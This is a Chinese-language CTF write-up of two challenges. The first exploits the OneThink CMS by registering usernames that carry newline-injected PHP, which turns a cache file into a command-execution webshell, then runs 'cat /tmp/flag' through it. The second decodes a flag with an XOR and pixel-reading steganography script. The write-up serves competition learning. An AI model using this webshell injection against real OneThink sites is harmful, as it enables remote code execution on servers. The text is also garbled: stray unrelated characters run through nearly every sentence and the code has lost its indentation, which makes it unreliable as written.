保證您更舒適的閱讀體驗(yàn)和持續(xù)更新碍庵,本文已轉(zhuǎn)移至我的個人博客静浴,請您訪問http://anemone.top/以確保您閱讀的文章是最新版本,以及看到新的文章
i春秋辦的CTF得问,自己太菜抚岗,在各種師傅提示下才做出來兩題Orz宣蔚,其他題目找機(jī)會復(fù)現(xiàn)吧。
A Simple CMS
看到網(wǎng)站是OneThink做的亩冬,百度搜了下該CMS存在漏洞,參考文章過程即可得到flag营袜。但是其中的緩存文件做了修改荚板,需要在本地復(fù)現(xiàn)一下跪另,確定緩存文件名免绿。
0x00
掃描網(wǎng)站敏感目錄,發(fā)現(xiàn)www.zip文件:
0x01
下載文件,在本地構(gòu)建復(fù)現(xiàn)環(huán)境婶希,首先刪除onethink/onethink/Application/Install/Data/install.lock
文件彤枢,然后訪問install.php
。
0x02
依次使用%0a$a=$_GET[a];//
和 <code>%0aecho `$a`;//</code> 注冊賬號业栅,在依次登錄賬號碘裕,發(fā)現(xiàn)存在Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php
文件,且文件內(nèi)容如下:
<?php
//000000000000a:4:{s:2:"u1";s:13:"Administrator";s:2:"u3";s:6:"test12";s:2:"u4";s:15:"
$a=$_GET[a];//";s:2:"u5";s:13:"
echo `$a`;//";}
?>
說明我們的一句話上傳成功晤斩,文件名為Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php
,該文件名不改變烹俗。
0x03
在服務(wù)器上重復(fù)步驟2萍程,getshell
在tmp目錄下獲取flag:
http://ddd27aa160354000ba7eba4b621e08cd9274bde410054da1.game.ichunqiu.com/Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php?a=cat%20/tmp/flag
loli
0x00
圖片下載下來,根據(jù)題目hint(0xFF)潮尝,想到使用0xFF異或整個文件勉失,腳本如下:
#!/usr/bin/env python
# coding=utf-8
def xor():
with open('./1.png', 'rb') as f, open('xor.png', 'wb') as wf:
for each in f.read():
wf.write(chr(ord(each) ^ 0xff))
if __name__ == '__main__':
xor()
得到文件xor.png
咽弦。
0x01
使用二進(jìn)制編輯器觀察xor.png
尾部型型,看到提示“black and white”寺枉,以及“IEND”標(biāo)識型凳,這是png的文件尾部,暗示該文件中隱藏了一個png文件往弓。
使用 foremost 命令直接提取 (binwalk沒卵用槐脏,感謝NaN師傅的提示Orz):
foremost xor.png
ls ./output/png|grep png
00006777.png
0x02
觀察png文件蔑担,可以看到色塊分為11列啤握,每列隔行的色塊永遠(yuǎn)是黑色排抬,這說明應(yīng)該橫向讀取圖片蹲蒲,而列中的橫長條由8個小色塊組成缘薛,顯然其代表的是一個字節(jié)的數(shù)據(jù)掩宜。
按上述思路提取該信息:
import matplotlib.image as mpimg # mpimg 用于讀取圖片5:18
# png[y][x][rgb]
res_str = []
res = []
def readpng():
png = mpimg.imread('./out.png')
yy, xx, depth = png.shape
for y in range(yy):
if y % 2 == 0:
for x in range(1, xx - 1, 9):
_str = "0b" + str(int(png[y][x][0])) + str(int(png[y][x + 1][0])) + str(int(png[y][x + 2][0])) + str(int(png[y][x + 3][0])) + str(int(png[y][x + 4][0])) + str(int(png[y][x + 5][0])) + str(int(png[y][x + 6][0])) + str(int(png[y][x + 7][0]))
res_str.append(_str)
res.append(bin2hex(_str))
print res_str
with open('res.bin', 'wb') as f:
for each in res:
f.write(chr(each))
def bin2hex(_bin="0b101"):
return int(_bin, 2) ^ 0xFF
if __name__ == '__main__':
readpng()
# bin2hex("0b101")
生成的res.bin
實(shí)際為文本文件檐迟,打開即可看到flag:
cat res.bin
Let's look this lyrics:The black sky hangs down,The bright stars follow,The insect winged insect flies,Who are you missing,The space star bursts into tears,The ground rose withers,The cold wind blows the cold wind to blow,So long as has you to accompany,The insect fly rests,A pair of pair only then beautiful,Did not fear darkness only fears brokenheartedly,No matter is tired,Also no matter four cardinal points.Emmmm,It looks like you don't care about this lyrics. Well, this is flag:flag{e0754197-e3ab-4d0d-b98f-96174c378a34}Let's look this lyric
注:相關(guān)文件已上傳至GitHub